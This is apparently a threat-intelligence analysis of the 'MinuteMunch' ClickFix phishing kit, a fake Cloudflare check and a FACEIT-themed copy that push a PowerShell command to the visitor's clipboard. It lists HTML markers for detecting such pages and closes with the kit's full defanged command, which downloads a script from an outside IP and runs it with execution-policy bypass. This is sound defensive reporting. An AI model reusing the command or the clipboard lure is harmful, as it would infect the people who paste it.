MinuteMunch ClickFix kit

The timer starts with the checkbox

MinuteMunch is a full-page Cloudflare imitation with one fake verification box. The page writes its own hostname into the challenge, displays a fixed-looking Ray ID and keeps its PowerShell line in a JavaScript constant named payload.

Clicking the checkbox performs two actions at once. The first handler writes payload to the clipboard with navigator.clipboard.writeText, falling back to a hidden textarea and document.execCommand("copy"). The second opens modalBg and starts a countdown at 05:00.

The modal tells the visitor to press Win+R, Ctrl+V and Enter. The timer counts down once per second. At zero, it clears the interval and leaves the prompt and command in place.

The generic command

The first page puts its command directly in the document. It starts PowerShell with execution-policy bypass, downloads a script with Invoke-WebRequest, saves it as x.ps1 in the user's temporary directory and starts that file with a second PowerShell process.

Long spaces and the text PRESS OK TO CONTINUE trail the command. That suffix is visible in the Run box after the visitor pastes, while the executable part stays at the start of the line.

The FACEIT skin reuses the page

A later copy changes the artwork and displayed domain to impersonate the FACEIT gaming platform. Its stylesheet is identical to the generic page, and its HTML and JavaScript retain the same checkbox, modalBg, clipboard fallback and five-minute timer.

The command changes to an irm ... | iex form. In the captured source, the complete PowerShell fragment appears twice without a separator, leaving iexpowershell where the first copy meets the second. The repeated PRESS OK TO CONTINUE padding remains at the end.

What we see

Month	New sites
September	2
October	0
November so far	0

Checking a page

Search the HTML for the combination of:

• a payload constant inside the checkbox handler
• modalBg, timerEl and let timeLeft = 5 * 60
• Clipboard API code followed by a fallbackCopy function
• an instruction modal containing Win+R, Ctrl+V, Enter and 05:00
• PRESS OK TO CONTINUE padded with a long run of spaces

The FACEIT copy keeps these code markers under different artwork. Inspect the command constant as well as the visible theme.

powershell -ep bypass -c "IWR hxxp://93[.]183[.]93[.]9/ck/y.ps1 -OutFile $env:TEMP\x.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\x.ps1" '                                                                  PRESS OK TO CONTINUE'